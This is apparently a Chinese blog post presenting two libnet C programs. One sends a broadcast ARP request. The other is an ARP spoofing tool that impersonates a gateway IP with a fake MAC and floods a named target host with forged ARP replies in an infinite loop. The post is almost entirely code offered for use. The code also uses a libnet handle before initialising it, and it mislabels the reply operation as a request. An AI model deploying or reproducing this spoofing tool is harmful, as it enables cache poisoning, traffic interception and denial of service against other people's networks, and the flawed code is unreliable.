libnet--arp/arp应答

604 篇文章 8 订阅
579 篇文章 5 订阅
ARP广播包:
  1. #include <libnet.h>

  2. int main() {
  3.     libnet_t *handle;        /* Libnet句柄 */
  4.     int packet_size;
  5.     char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6.     u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  7.     u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  8.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  9.     u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
  10.     /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
  11.     u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  12.     u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
  13.     char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  14.     libnet_ptag_t arp_proto_tag, eth_proto_tag;

  15.     /* 把目的IP地址字符串转化成网络序 */
  16.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17.     /* 把源IP地址字符串转化成网络序 */
  18.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  19.     if ( dst_ip == -1 || src_ip == -1 ) {
  20.         printf("ip address convert error\n");
  21.         exit(-1);
  22.     };
  23.     /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  24.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  25.         printf("libnet_init: error [%s]\n", error);
  26.         exit(-2);
  27.     };

  28.     /* 构造arp协议块 */
  29.     arp_proto_tag = libnet_build_arp(
  30.                 ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  31.                 ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  32.                 6,                   /* 硬件地址长度 */
  33.                 4,                   /* IP地址长度 */
  34.                 ARPOP_REQUEST,       /* 操作方式:ARP请求 */
  35.                 src_mac,             /* source MAC addr */
  36.                 (u_int8_t *)&src_ip, /* src proto addr */
  37.                 rev_mac,             /* dst MAC addr */
  38.                 (u_int8_t *)&dst_ip, /* dst IP addr */
  39.                 NULL,                /* no payload */
  40.                 0,                   /* payload length */
  41.                 handle,              /* libnet tag */
  42.                 0                    /* Create new one */
  43.     );
  44.     if (arp_proto_tag == -1)    {
  45.         printf("build IP failure\n");
  46.         exit(-3);
  47.     };

  48.     /* 构造一个以太网协议块
  49.     You should only use this function when
  50.     libnet is initialized with the LIBNET_LINK interface.*/
  51.     eth_proto_tag = libnet_build_ethernet(
  52.         dst_mac,         /* 以太网目的地址 */
  53.         src_mac,         /* 以太网源地址 */
  54.         ETHERTYPE_ARP,   /* 以太网上层协议类型,此时为ARP请求 */
  55.         NULL,            /* 负载,这里为空 */
  56.         0,               /* 负载大小 */
  57.         handle,          /* Libnet句柄 */
  58.         0                /* 协议块标记,0表示构造一个新的 */
  59.     );
  60.     if (eth_proto_tag == -1) {
  61.         printf("build eth_header failure\n");
  62.         return (-4);
  63.     };

  64.     packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/

  65.     libnet_destroy(handle);                /* 释放句柄 */

  66.     return (0);
  67. }

arp应答包(arp欺骗)
  1. #include <libnet.h>

  2. int main() {
  3.     libnet_t *handle;        /* Libnet句柄 */
  4.     int packet_size;
  5.     char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6.     u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
  7.     u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
  8.     u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
  9.     u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
  10.     u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
  11.     char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  12.     libnet_ptag_t arp_proto_tag, eth_proto_tag;

  13.     /* 把目的IP地址字符串转化成网络序 */
  14.     dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  15.     /* 把源IP地址字符串转化成网络序 */
  16.     src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);

  17.     if ( dst_ip == -1 || src_ip == -1 ) {
  18.         printf("ip address convert error\n");
  19.         exit(-1);
  20.     };
  21.     /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  22.     if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  23.         printf("libnet_init: error [%s]\n", error);
  24.         exit(-2);
  25.     };

  26.     /* 构造arp协议块 */
  27.     arp_proto_tag = libnet_build_arp(
  28.                 ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  29.                 ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  30.                 6,                    /* 硬件地址长度 */
  31.                 4,                    /* IP地址长度 */
  32.                 ARPOP_REPLY,        /* 操作方式:ARP请求 */
  33.                 src_mac,                /* source MAC addr */
  34.                 (u_int8_t *)&src_ip,    /* src proto addr */
  35.                 dst_mac,                /* dst MAC addr */
  36.                 (u_int8_t *)&dst_ip,    /* dst IP addr */
  37.                 NULL,                /* no payload */
  38.                 0,                    /* payload length */
  39.                 handle,                /* libnet tag */
  40.                 0                    /* Create new one */
  41.     );
  42.     if (arp_proto_tag == -1)    {
  43.         printf("build IP failure\n");
  44.         exit(-3);
  45.     };

  46.     /* 构造一个以太网协议块
  47.     You should only use this function when
  48.     libnet is initialized with the LIBNET_LINK interface.*/
  49.     eth_proto_tag = libnet_build_ethernet(
  50.         dst_mac,            /* 以太网目的地址 */
  51.         src_mac,            /* 以太网源地址 */
  52.         ETHERTYPE_ARP,    /* 以太网上层协议类型,此时为ARP请求 */
  53.         NULL,            /* 负载,这里为空 */
  54.         0,                /* 负载大小 */
  55.         handle,            /* Libnet句柄 */
  56.         0                /* 协议块标记,0表示构造一个新的 */
  57.     );
  58.     if (eth_proto_tag == -1)    {
  59.         printf("build eth_header failure\n");
  60.         return (-4);
  61.     };

  62.     while(1) {
  63.         packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
  64.         usleep(1000);
  65.     };

  66.     libnet_destroy(handle);                /* 释放句柄 */

  67.     return (0);
  68. }
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值